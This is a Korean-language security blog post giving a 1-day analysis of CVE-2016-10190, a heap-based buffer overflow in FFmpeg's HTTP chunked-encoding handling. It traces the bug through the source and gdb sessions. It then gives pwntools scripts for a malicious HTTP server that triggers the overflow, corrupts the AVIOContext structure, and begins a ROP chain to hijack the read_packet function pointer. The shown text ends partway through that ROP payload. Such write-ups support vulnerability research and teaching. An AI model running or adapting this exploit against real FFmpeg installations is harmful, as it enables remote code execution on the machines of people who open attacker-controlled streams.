ii4gsp

[1-day Analysis] CVE-2016-10190 ( Heap-Based Buffer Overflow in FFmpeg ) 본문

시스템 해킹/Software

[1-day Analysis] CVE-2016-10190 ( Heap-Based Buffer Overflow in FFmpeg )

ii4gsp 2021. 8. 5. 15:06
Disclosure or Patch Date: At the end of 2016
Product: FFmpeg
Affected Versions: before 2.8.10, 3.0.x before 3.0.5, 3.1.x before 3.1.6, and 3.2.x before 3.2.2
First Patched Version: FFmpeg 2.8.10, 3.0.5, 3.1.6, 3.2.2
Bug Class: Heap-based buffer overflow

FFmpeg는 오디오 및 비디오 데이터를 다양한 종류의 형태로 변환하는 소프트웨어 프로그램이다.

2016년 말에 발견된 힙 기반 오버플로우 취약점이다.

취약한 버전은 FFmpeg 2.8.10 이전, 3.0.5 이전, 3.1.6 이전, 3.2.2 이전 버전이다.

 

 

 

 

static int http_read_header(URLContext *h, int *new_location)
{
    HTTPContext *s = h->priv_data;
    char line[MAX_URL_SIZE];
    int err = 0;

    s->chunksize = -1;

    for (;;) {
        if ((err = http_get_line(s, line, sizeof(line))) < 0)
            return err;

        av_log(h, AV_LOG_TRACE, "header='%s'\n", line);

        err = process_line(h, line, s->line_count, new_location); // here
        if (err < 0)
            return err;
        if (err == 0)
            break;
        s->line_count++;
    }

    if (s->seekable == -1 && s->is_mediagateway && s->filesize == 2000000000)
        h->is_streamed = 1; /* we can in fact _not_ seek */

    // add any new cookies into the existing cookie string
    cookie_string(s->cookie_dict, &s->cookies);
    av_dict_free(&s->cookie_dict);

    return err;
}

libavformat/http.c

해당 취약점은 HTTP 스트림을 처리할 때 발생한다.

입력 파일이 HTTP 스트림이면 http_open() 함수가 호출된다.

해당 http_read_header() 함수가 호출되는 순서는 다음과 같다.

http_open()-> http_open_cnx() ->http_open_cnx_internal() -> http_connect() -> http_read_header()

HTTP 응답 데이터의 각 요청 헤더를 파싱하기 위해 http_read_header() 함수를 호출한다.

http_read_header() 함수에서는 process_line() 함수를 호출한다.

 

 

 

 

static int process_line(URLContext *h, char *line, int line_count,
                        int *new_location)
{
    HTTPContext *s = h->priv_data;
    const char *auto_method =  h->flags & AVIO_FLAG_READ ? "POST" : "GET";
    char *tag, *p, *end, *method, *resource, *version;
    int ret;
    ...
        if (!av_strcasecmp(tag, "Location")) {
            if ((ret = parse_location(s, p)) < 0)
                return ret;
            *new_location = 1;
        } else if (!av_strcasecmp(tag, "Content-Length") && s->filesize == -1) {
            s->filesize = strtoll(p, NULL, 10);
        } else if (!av_strcasecmp(tag, "Content-Range")) {
            parse_content_range(h, p);
        } else if (!av_strcasecmp(tag, "Accept-Ranges") &&
                   !strncmp(p, "bytes", 5) &&
                   s->seekable == -1) {
            h->is_streamed = 0;
        } else if (!av_strcasecmp(tag, "Transfer-Encoding") &&  // here
                   !av_strncasecmp(p, "chunked", 7)) {
            s->filesize  = -1;
            s->chunksize = 0;
        } else if (!av_strcasecmp(tag, "WWW-Authenticate")) {
            ff_http_auth_handle_header(&s->auth_state, tag, p);
        } else if (!av_strcasecmp(tag, "Authentication-Info")) {
    ...

libavformat/http.c

요청 헤더에 Transfer-Encoding: chunked가 포함되있으면 s->filesize를 -1로 설정하고 s->chunksize를 0으로 세팅한다.

 

 

 

 

static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
    HTTPContext *s = h->priv_data;
    int err, new_location, read_ret;
    int64_t seek_ret;
    ...
    if (s->chunksize >= 0) {
        if (!s->chunksize) {
            char line[32];

                do {
                    if ((err = http_get_line(s, line, sizeof(line))) < 0)
                        return err;
                } while (!*line);    /* skip CR LF from last chunk */

                s->chunksize = strtoll(line, NULL, 16); // here

                av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",
                        s->chunksize);

                if (!s->chunksize)
                    return 0;
        }
        size = FFMIN(size, s->chunksize); // here
    }
#if CONFIG_ZLIB
    if (s->compressed)
        return http_buf_read_compressed(h, buf, size);
#endif /* CONFIG_ZLIB */
    read_ret = http_buf_read(h, buf, size); // here
    ...
}

libavformat/http.c

http_read_stream() 함수는 해당 취약점의 핵심 코드이다.

해당 취약점을 이해하기 위해 HTTPContext 구조체를 알아야한다.

gdb-peda$ ptype HTTPContext
type = struct HTTPContext {
    ...
    int64_t chunksize;
    ...
}

HTTPContext 구조체의 chunksize 필드는 int64_t 자료형으로 선언되어 있다.

int64_t 자료형이기 때문에 음수값을 가질 수 있다.

strtoll() 함수는 정수로 구성한 문자열을 long long으로 반환해준다.

#define FFMIN(a,b) ((a) > (b) ? (b) : (a))

libavutil/common.h

FFMIN 매크로는 두 개의 값 중 더 낮은 값을 반환한다.

strtoll() 함수가 음수를 반환하면 size는 음수 값을 가지게 된다.

단순화 하기 위해 size 값을 -1이라고 가정하겠다.

size가 음수를 가진 후 http_buf_read() 함수를 호출하는데 size 값도 전달된다.

 

 

 

 

static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
    HTTPContext *s = h->priv_data;
    int len;
    /* read bytes from input buffer first */
    len = s->buf_end - s->buf_ptr;
    if (len > 0) {
        if (len > size)
            len = size;
        memcpy(buf, s->buf_ptr, len);
        s->buf_ptr += len;
    } else {
        int64_t target_end = s->end_off ? s->end_off : s->filesize;
        if ((!s->willclose || s->chunksize < 0) &&
            target_end >= 0 && s->off >= target_end)
            return AVERROR_EOF;
        len = ffurl_read(s->hd, buf, size); // here
        if (!len && (!s->willclose || s->chunksize < 0) &&
            target_end >= 0 && s->off < target_end) {
            av_log(h, AV_LOG_ERROR,
                   "Stream ends prematurely at %"PRId64", should be %"PRId64"\n",
                   s->off, target_end
                  );
            return AVERROR(EIO);
        }
    }
    if (len > 0) {
        s->off += len;
        if (s->chunksize > 0)
            s->chunksize -= len;
    }
    return len;
}

libavformat/http.c

http_buf_read() 함수에서는 ffurl_read() 함수를 호출하는데 음수 값을 가지고 있는 size도 같이 전달한다.

 

 

 

 

int ffurl_read(URLContext *h, unsigned char *buf, int size)
{
    if (!(h->flags & AVIO_FLAG_READ))
        return AVERROR(EIO);
    return retry_transfer_wrapper(h, buf, size, 1, h->prot->url_read); // here
}

libavformat/avio.c

ffurl_read() 함수에서는 retry_transfer_wrapper() 함수가 호출되는데 h->prot->url_read 함수 포인터가 전달된다.

 

 

 

 

static inline int retry_transfer_wrapper(URLContext *h, uint8_t *buf,
                                         int size, int size_min,
                                         int (*transfer_func)(URLContext *h,
                                                              uint8_t *buf,
                                                              int size))
{
    int ret, len;
    int fast_retries = 5;
    int64_t wait_since = 0;

    len = 0;
    while (len < size_min) {
        if (ff_check_interrupt(&h->interrupt_callback))
            return AVERROR_EXIT;
        ret = transfer_func(h, buf + len, size - len); // here
        if (ret == AVERROR(EINTR))
            continue;
    ...
}

libavformat/avio.c

retry_transfer_wrapper() 함수에서 함수 포인터를 호출하면 h->prot->url_read가 호출된다.

gdb-peda$ print *h.prot
$10 = {
  ...
  url_read = 0x5555558daa10 <tcp_read>,
  url_write = 0x5555558daeb0 <tcp_write>,
  ...
}

h->prot->url_read는 tcp_read() 함수를 호출한다.

 

 

 

 

static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
    TCPContext *s = h->priv_data;
    int ret;

    if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
        ret = ff_network_wait_fd_timeout(s->fd, 0, h->rw_timeout, &h->interrupt_callback);
        if (ret)
            return ret;
    }
    ret = recv(s->fd, buf, size, 0); // here
    return ret < 0 ? ff_neterrno() : ret;
}

libavformat/tcp.c

tcp_read() 함수는 recv() 함수를 통해 소켓으로 부터 데이터를 버퍼에 저장한다.

ssize_t recv(int sockfd, void *buf, size_t len, int flags);

recv() 함수는 int 자료형 size 부분을 size_t 자료형으로 입력 받는다.

Breakpoint 8, tcp_read (h=0x555556fb7e60, buf=0x555556fb8140 "P\200\373VUU", size=0xffffffff) at libavformat/tcp.c:202
Breakpoint 9, __libc_recv (fd=0x3, buf=buf@entry=0x555556fb8140, len=len@entry=0xffffffffffffffff, flags=flags@entry=0x0) at ../sysdeps/unix/sysv/linux/recv.c:28
gdb-peda$ p/u 0xffffffffffffffff
$15 = 18446744073709551615

size 값이 -1일때 부호없는 정수 18446744073709551615 값을 가지게된다.

따라서 18446744073709551615 만큼 버퍼에 입력할 수 있다.

버퍼는 힙에 할당되어 있으므로 힙 기반 버퍼 오버플로우가 발생하게된다.

 

 

 

 

gdb-peda$ p s
$19 = (AVIOContext *) 0x555556fc01a0
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x555556fb7e60 --> 0x55555680c5a0 --> 0x55555621569d ("URLContext")
RCX: 0x0
RDX: 0xffffffff
RSI: 0x555556fb8140 --> 0x555556fb8050 --> 0x7473 ('st')
RDI: 0x555556fb7e60 --> 0x55555680c5a0 --> 0x55555621569d ("URLContext")
RBP: 0x555556fb8140 --> 0x555556fb8050 --> 0x7473 ('st')
RSP: 0x7fffffffd5d8 --> 0x5555557d8774 (<ffurl_read+84>:        cmp    eax,0xfffffffc)
RIP: 0x5555558daa10 (<tcp_read>:        mov    rax,rdi)
R8 : 0x7fffffffd692 --> 0x564000007fffff00
R9 : 0x0
R10: 0x0
R11: 0x10
R12: 0xffffffff
R13: 0x555556fb7e90 --> 0x555555697370 (<decode_interrupt_cb>:  mov    edx,DWORD PTR [rip+0x11c5ece]        # 0x55555685d244 <received_nb_signals>)
R14: 0x5555558daa10 (<tcp_read>:        mov    rax,rdi)
R15: 0x5
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555558daa02 <tcp_close+18>:       add    rsp,0x8
   0x5555558daa06 <tcp_close+22>:       ret
   0x5555558daa07:      nop    WORD PTR [rax+rax*1+0x0]
=> 0x5555558daa10 <tcp_read>:   mov    rax,rdi
   0x5555558daa13 <tcp_read+3>: push   r12
   0x5555558daa15 <tcp_read+5>: push   rbp
   0x5555558daa16 <tcp_read+6>: push   rbx
   0x5555558daa17 <tcp_read+7>: test   BYTE PTR [rax+0x20],0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd5d8 --> 0x5555557d8774 (<ffurl_read+84>:       cmp    eax,0xfffffffc)
0008| 0x7fffffffd5e0 --> 0x0
0016| 0x7fffffffd5e8 --> 0x0
0024| 0x7fffffffd5f0 --> 0x0
0032| 0x7fffffffd5f8 --> 0x0
0040| 0x7fffffffd600 --> 0x555556fb6180 --> 0x555556810840 --> 0x55555621d188 --> 0x7070410070747468 ('http')
0048| 0x7fffffffd608 --> 0x555556fb60e0 --> 0x55555680c5a0 --> 0x55555621569d ("URLContext")
0056| 0x7fffffffd610 --> 0xffffffffffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 9, tcp_read (h=0x555556fb7e60, buf=0x555556fb8140 "P\200\373VUU", size=0xffffffff) at libavformat/tcp.c:202
202     {
gdb-peda$ p 0x555556fc01a0-0x555556fb8140
$20 = 0x8060
gdb-peda$

버퍼로 부터 0x8060 떨어진 곳에 구조체 AVIOContext가 할당되어 있다.

힙 오버플로우로 인해 AVIOContext 필드를 조작할 수 있다.

 

 

 

 

gdb-peda$ p *(AVIOContext*)(0x555556fb8140+0x8060)
$22 = {
  av_class = 0x55555680c600 <ff_avio_class>,
  buffer = 0x555556fb8140 "P\200\373VUU",
  buffer_size = 0x8000,
  buf_ptr = 0x555556fb8140 "P\200\373VUU",
  buf_end = 0x555556fb8140 "P\200\373VUU",
  opaque = 0x555556fb8060,
  read_packet = 0x5555557d8ac0 <io_read_packet>, // here
  write_packet = 0x5555557d8ab0 <io_write_packet>,
  seek = 0x5555557d8aa0 <io_seek>,
  pos = 0x0,
  must_flush = 0x0,
  eof_reached = 0x0,
  write_flag = 0x0,
  max_packet_size = 0x0,
  checksum = 0x0,
  checksum_ptr = 0x0,
  ...
}
gdb-peda$

read_packet 필드는 avio_read() 함수에서 사용되는 필드이다.

따라서 AVIOContext 필드를 조작하여 함수 포인터를 덮어 공격자가 원하는 코드를 실행할 수 있다.

 

 

 

 

int avio_read(AVIOContext *s, unsigned char *buf, int size)
{
    int len, size1;

    size1 = size;
    while (size > 0) {
        len = FFMIN(s->buf_end - s->buf_ptr, size);
        if (len == 0 || s->write_flag) {
            if((s->direct || size > s->buffer_size) && !s->update_checksum) {
                // bypass the buffer and read data directly into buf
                if(s->read_packet)
                    len = s->read_packet(s->opaque, buf, size); // here

                if (len <= 0) {
                    /* do not modify buffer if EOF reached so that a seek back can
                    be done without rereading data */
                    s->eof_reached = 1;
    ...
}

libavformat/aviobuf.c

avio_read() 함수에서 함수 포인터 s->read_packet 를 호출한다.

 

 

 

 

$ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz
$ tar xvfz n3.2.1.tar.gz
$ mkdir ~/ffmpeg_build
$ mkdir ~/ffmpeg_bin
$ cd FFmpeg-n3.2.1/
$ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \
  --disable-stripping
$ make -j 4
$ make install

위와 같이 취약한 버전을 빌드하면 된다.

 

 

 

 

$ ~/ffmpeg_bin/ffmpeg
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 7 (Ubuntu 7.5.0-3ubuntu1~18.04)
  configuration: --prefix=/home/ii4gsp/ffmpeg_build --bindir=/home/ii4gsp/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100
Hyper fast Audio and Video encoder
usage: ffmpeg [options] [[infile options] -i infile]... {[outfile options] outfile}...

Use -h to get full help or, even better, run 'man ffmpeg'

바이너리는 ~/ffmpeg_bin/ 디렉토리에 있다.

 

 

 

 

$ checksec ~/ffmpeg_bin/ffmpeg
[*] '/home/ii4gsp/ffmpeg_bin/ffmpeg'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

보호기법은 모두 다 적용되있다.

다른 글 보면 PIE는 해제되어 있는데 해당 글은 PIE까지 적용되어있다.

 

 

 

 

$ ~/ffmpeg_bin/ffmpeg -i \
http://commondatastorage.googleapis.com/gtv-videos-bucket/sample/BigBuckBunny.mp4 \
~/ffmpeg_bin/test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 7 (Ubuntu 7.5.0-3ubuntu1~18.04)
  configuration: --prefix=/home/ii4gsp/ffmpeg_build --bindir=/home/ii4gsp/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'http://commondatastorage.googleapis.com/gtv-videos-bucket/sample/BigBuckBunny.mp4':
  Metadata:
    major_brand     : mp42
    minor_version   : 0
    compatible_brands: isomavc1mp42
    creation_time   : 2010-01-10T08:29:06.000000Z
  Duration: 00:09:56.47, start: 0.000000, bitrate: 2119 kb/s
    Stream #0:0(und): Audio: aac (LC) (mp4a / 0x6134706D), 44100 Hz, stereo, fltp, 125 kb/s (default)
    Metadata:
      creation_time   : 2010-01-10T08:29:06.000000Z
      handler_name    : (C) 2007 Google Inc. v08.13.2007.
    Stream #0:1(und): Video: h264 (High) (avc1 / 0x31637661), yuv420p, 1280x720 [SAR 1:1 DAR 16:9], 1991 kb/s, 24 fps, 24 tbr, 24k tbn, 48 tbc (default)
    Metadata:
      creation_time   : 2010-01-10T08:29:06.000000Z
      handler_name    : (C) 2007 Google Inc. v08.13.2007.
Output #0, avi, to '/home/ii4gsp/ffmpeg_bin/test.avi':
...

ffmpeg의 -i 옵션은 지정된 입력 스트림에서 비디오를 가져와 AVI 형식으로 저장할 수 있다.

그냥 사용 예시이다.

 

 

 

 

from pwn import *
import time
import socket

headers = '''HTTP/1.1 200 OK
Server: HTTP/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

'''

def main():
    p = listen(12345)

    p.wait_for_connection()
    log.success('Connection Success')

    p.send(headers)

    p.sendline('-1')
    log.info('Triggered.')
    time.sleep(2)

    payload  = ''
    payload += 'A' * 0x8060

    log.info('Payload sent.')
    p.send(payload)

    p.close()

if __name__ == '__main__':
    main()

Crash를 발생시키는 코드이다.

 

 

 

 

$ python crash.py 
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 127.0.0.1 on port 48724
[+] Connection Success
[*] Triggered.
[*] Payload sent.
[*] Closed connection to 127.0.0.1 port 48724

스크립트를 실행하고 리스너를 시작해주자.

 

 

 

 

$ ~/ffmpeg_bin/ffmpeg -i http://127.0.0.1:12345 ~/ffmpeg_bin/test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 7 (Ubuntu 7.5.0-3ubuntu1~18.04)
  configuration: --prefix=/home/ii4gsp/ffmpeg_build --bindir=/home/ii4gsp/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100
free(): invalid next size (normal)
Aborted

힙이 손상되었다는 메시지가 뜨고 프로그램이 종료된다.

 

 

 

 

from pwn import *
import time
import socket

headers = '''HTTP/1.1 200 OK
Server: HTTP/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

'''

def main():
    p = listen(12345)

    p.wait_for_connection()
    log.success('Connection Success')

    p.send(headers)

    p.sendline('-1')
    log.info('Triggered.')
    time.sleep(2)

    payload  = ''
    payload += 'A' * 0x8060 # AVIOContext
    payload += ('B' * 8) * 4 # av_class, buffer, buffer_size, buf_ptr

    log.info('Payload sent.')
    p.send(payload)

    p.close()

if __name__ == '__main__':
    main()

AVIOContext 구조체 필드를 일부 손상 시키는 코드이다.

 

 

 

 

gdb-peda$ disas tcp_read
Dump of assembler code for function tcp_read:
   0x0000000000386a10 <+0>:     mov    rax,rdi
   0x0000000000386a13 <+3>:     push   r12
   0x0000000000386a15 <+5>:     push   rbp
   0x0000000000386a16 <+6>:     push   rbx
   0x0000000000386a17 <+7>:     test   BYTE PTR [rax+0x20],0x8
   0x0000000000386a1b <+11>:    mov    r12,rsi
   0x0000000000386a1e <+14>:    mov    rbp,QWORD PTR [rdi+0x10]
   0x0000000000386a22 <+18>:    mov    ebx,edx
   0x0000000000386a24 <+20>:    mov    edi,DWORD PTR [rbp+0x8]
   0x0000000000386a27 <+23>:    je     0x386a50 <tcp_read+64>
   0x0000000000386a29 <+25>:    movsxd rdx,ebx
   0x0000000000386a2c <+28>:    xor    ecx,ecx
   0x0000000000386a2e <+30>:    mov    rsi,r12
   0x0000000000386a31 <+33>:    call   0xb8120 <recv@plt>
   0x0000000000386a36 <+38>:    test   eax,eax
   0x0000000000386a38 <+40>:    mov    edx,eax
   0x0000000000386a3a <+42>:    jns    0x386a45 <tcp_read+53>
   0x0000000000386a3c <+44>:    call   0xb8610 <__errno_location@plt>
   0x0000000000386a41 <+49>:    mov    edx,DWORD PTR [rax]
   0x0000000000386a43 <+51>:    neg    edx
   0x0000000000386a45 <+53>:    pop    rbx
   0x0000000000386a46 <+54>:    mov    eax,edx
   0x0000000000386a48 <+56>:    pop    rbp
   0x0000000000386a49 <+57>:    pop    r12
   0x0000000000386a4b <+59>:    ret
   0x0000000000386a4c <+60>:    nop    DWORD PTR [rax+0x0]
   0x0000000000386a50 <+64>:    mov    rdx,QWORD PTR [rax+0x40]
   0x0000000000386a54 <+68>:    lea    rcx,[rax+0x30]
   0x0000000000386a58 <+72>:    xor    esi,esi
   0x0000000000386a5a <+74>:    call   0x32bcf0 <ff_network_wait_fd_timeout>
   0x0000000000386a5f <+79>:    test   eax,eax
   0x0000000000386a61 <+81>:    mov    edx,eax
   0x0000000000386a63 <+83>:    jne    0x386a45 <tcp_read+53>
   0x0000000000386a65 <+85>:    mov    edi,DWORD PTR [rbp+0x8]
   0x0000000000386a68 <+88>:    jmp    0x386a29 <tcp_read+25>
End of assembler dump.
gdb-peda$ b *tcp_read+33
Breakpoint 1 at 0x386a31: file /usr/include/x86_64-linux-gnu/bits/socket2.h, line 44.
gdb-peda$

recv() 함수 호출 전 tcp_read+33 부분에 breakpoint를 걸어주자.

 

 

 

 

gdb-peda$ r -i http://127.0.0.1:12345 ../test.avi
Starting program: /home/ii4gsp/ffmpeg_bin/ffmpeg -i http://127.0.0.1:12345 ../test.avi
c[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 7 (Ubuntu 7.5.0-3ubuntu1~18.04)
  configuration: --prefix=/home/ii4gsp/ffmpeg_build --bindir=/home/ii4gsp/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0xffffffff
RCX: 0x0
RDX: 0xffffffffffffffff
RSI: 0x555556fb8140 --> 0x555556fb8050 --> 0x7473 ('st')
RDI: 0x3
RBP: 0x555556fb7f60 --> 0x55555680fd40 --> 0x5555562462c0 --> 0x706374 ('tcp')
RSP: 0x7fffffffd5d0 --> 0x555556fb7e60 --> 0x55555680c5a0 --> 0x55555621569d ("URLContext")
RIP: 0x5555558daa31 (<tcp_read+33>:     call   0x55555560c120 <recv@plt>)
R8 : 0x7fffffffd6a2 --> 0x564000007fffff00
R9 : 0x0
R10: 0x0
R11: 0x246
R12: 0x555556fb8140 --> 0x555556fb8050 --> 0x7473 ('st')
R13: 0x555556fb7e90 --> 0x555555697370 (<decode_interrupt_cb>:  mov    edx,DWORD PTR [rip+0x11c5ece]        # 0x55555685d244 <received_nb_signals>)
R14: 0x5555558daa10 (<tcp_read>:        mov    rax,rdi)
R15: 0x5
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555558daa29 <tcp_read+25>:        movsxd rdx,ebx
   0x5555558daa2c <tcp_read+28>:        xor    ecx,ecx
   0x5555558daa2e <tcp_read+30>:        mov    rsi,r12
=> 0x5555558daa31 <tcp_read+33>:        call   0x55555560c120 <recv@plt>
   0x5555558daa36 <tcp_read+38>:        test   eax,eax
   0x5555558daa38 <tcp_read+40>:        mov    edx,eax
   0x5555558daa3a <tcp_read+42>:        jns    0x5555558daa45 <tcp_read+53>
   0x5555558daa3c <tcp_read+44>:        call   0x55555560c610 <__errno_location@plt>
Guessed arguments:
arg[0]: 0x3
arg[1]: 0x555556fb8140 --> 0x555556fb8050 --> 0x7473 ('st')
arg[2]: 0xffffffffffffffff
arg[3]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd5d0 --> 0x555556fb7e60 --> 0x55555680c5a0 --> 0x55555621569d ("URLContext")
0008| 0x7fffffffd5d8 --> 0x555556fb8140 --> 0x555556fb8050 --> 0x7473 ('st')
0016| 0x7fffffffd5e0 --> 0xffffffff
0024| 0x7fffffffd5e8 --> 0x5555557d8774 (<ffurl_read+84>:       cmp    eax,0xfffffffc)
0032| 0x7fffffffd5f0 --> 0x0
0040| 0x7fffffffd5f8 --> 0x0
0048| 0x7fffffffd600 --> 0x0
0056| 0x7fffffffd608 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00005555558daa31 in recv (__flags=0x0, __n=0xffffffffffffffff, __buf=0x555556fb8140, __fd=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/socket2.h:44
44        return __recv_alias (__fd, __buf, __n, __flags);
gdb-peda$

힙 버퍼의 주소는 0x555556fb8140 이므로 0x8060을 더해주면 AVIOContext 구조체를 볼 수 있다.

 

 

 

 

gdb-peda$ p *(AVIOContext*)(0x555556fb8140+0x8060)
$3 = {
  av_class = 0x55555680c600 <ff_avio_class>,
  buffer = 0x555556fb8140 "P\200\373VUU",
  buffer_size = 0x8000,
  buf_ptr = 0x555556fb8140 "P\200\373VUU",
  buf_end = 0x555556fb8140 "P\200\373VUU",
  opaque = 0x555556fb8060,
  read_packet = 0x5555557d8ac0 <io_read_packet>,
  write_packet = 0x5555557d8ab0 <io_write_packet>,
  seek = 0x5555557d8aa0 <io_seek>,
  pos = 0x0,
  must_flush = 0x0,
  eof_reached = 0x0,
  write_flag = 0x0,
  max_packet_size = 0x0,
  checksum = 0x0,
  checksum_ptr = 0x0,
  update_checksum = 0x0,
  ...
}

손상 전 AVIOContext 구조체 필드이다.

 

 

 

 

gdb-peda$ p *(AVIOContext*)(0x555556fb8140+0x8060)
$4 = {
  av_class = 0x4242424242424242,
  buffer = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
  buffer_size = 0x42424242,
  buf_ptr = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
  buf_end = 0x555556fb8140 'A' <repeats 200 times>...,
  opaque = 0x555556fb8060,
  read_packet = 0x5555557d8ac0 <io_read_packet>,
  write_packet = 0x5555557d8ab0 <io_write_packet>,
  seek = 0x5555557d8aa0 <io_seek>,
  pos = 0x0,
  must_flush = 0x0,
  eof_reached = 0x0,
  write_flag = 0x0,
  max_packet_size = 0x0,
  checksum = 0x0,
  checksum_ptr = 0x0,
  update_checksum = 0x0,
  ...
}

오버플로우 된 후에 AVIOContext 구조체 필드가 손상되었음을 알 수 있다.

필드 손상까지 확인하였으니 read_packet 필드를 덮어 RIP 컨트롤을 할 수 있을 것이다.

또한 eof_reached 필드 값을 0으로 설정하지 않으면 소켓 읽기가 중지 된다.

 

 

 

 

$ ropper --file ~/ffmpeg_bin/ffmpeg --search 'add rsp, 0x58; ret;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add rsp,

[INFO] File: /home/ii4gsp/ffmpeg_bin/ffmpeg
0x000000000018c49d: add rsp, 0x58; ret;

$ ropper --file ~/ffmpeg_bin/ffmpeg --search 'push rbx; jmp rdi;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: push rbx; jmp rdi;

[INFO] File: /home/ii4gsp/ffmpeg_bin/ffmpeg
0x0000000000daa715: push rbx; jmp rdi;

$ ropper --file ~/ffmpeg_bin/ffmpeg --search 'pop rsp; ret;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsp; ret;

[INFO] File: /home/ii4gsp/ffmpeg_bin/ffmpeg
0x00000000000baf78: pop rsp; ret;

RIP를 컨트롤 하기위해 위와 같이 가젯의 오프셋을 구해주자.

 

 

 

 

gdb-peda$ vmmap binary
Start              End                Perm      Name
0x0000555555554000 0x000055555657e000 r-xp      /home/ii4gsp/ffmpeg_bin/ffmpeg
0x000055555677e000 0x0000555556819000 r--p      /home/ii4gsp/ffmpeg_bin/ffmpeg
0x0000555556819000 0x000055555685e000 rw-p      /home/ii4gsp/ffmpeg_bin/ffmpeg

PIE 보호기법 때문에 바이너리의 PIE base 값을 알아내야 한다.

PIE base 값과 가젯의 오프셋을 구하면 가젯의 실제 주소를 구할 수 있다.

gdb 기준 vmmap 명령어로 확인한 결과 0x0000555555554000 주소가 PIE base 주소이다.

 

 

 

 

from pwn import *
import time
import socket

headers = '''HTTP/1.1 200 OK
Server: HTTP/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

'''

pie_base = 0x0000555555554000

def main():
    p = listen(12345)

    p.wait_for_connection()
    log.success('Connection Success')

    # ROP Gadget
    stack_pivot = pie_base + 0x000000000018c49d # add rsp, 0x58; ret;
    push_rbx_jmp_rdi = pie_base + 0x0000000000daa715 # push rbx; jmp rdi;
    pop_rsp = pie_base + 0x00000000000baf78 # pop rsp; ret;

    log.info('stack_pivot : ' + hex(stack_pivot))
    log.info('push_rbx_jmp_rdi : ' + hex(push_rbx_jmp_rdi))
    log.info('pop_rsp : ' + hex(pop_rsp))

    p.send(headers)

    # Trigger
    p.sendline('-1')
    log.info('Triggered.')
    time.sleep(2)

    payload = ''
    payload += 'A' * 0x8060     # AVIOContext
    payload += p64(stack_pivot) # av_class
    payload += ('B' * 8) * 4    # buffer, buffer_size, buf_ptr, buf_end
    payload += p64(pop_rsp)     # opaque
    payload += p64(push_rbx_jmp_rdi) # read_packet
    payload += ('C' * 8) * 3    # write_packet, seek, pos
    payload += 'DDDD'           # must_flush
    payload += p32(0)           # eof_reached
    payload += 'E' * 8          # write_flag, max_packet_size
    payload += p64(stack_pivot) # checksum
    payload += ('F' * 8) * 11   # checksum_ptr ~ short_seek_threshold

    # ROP Chain
    payload += p64(0x414141414141)
    payload += p64(0x424242424242)
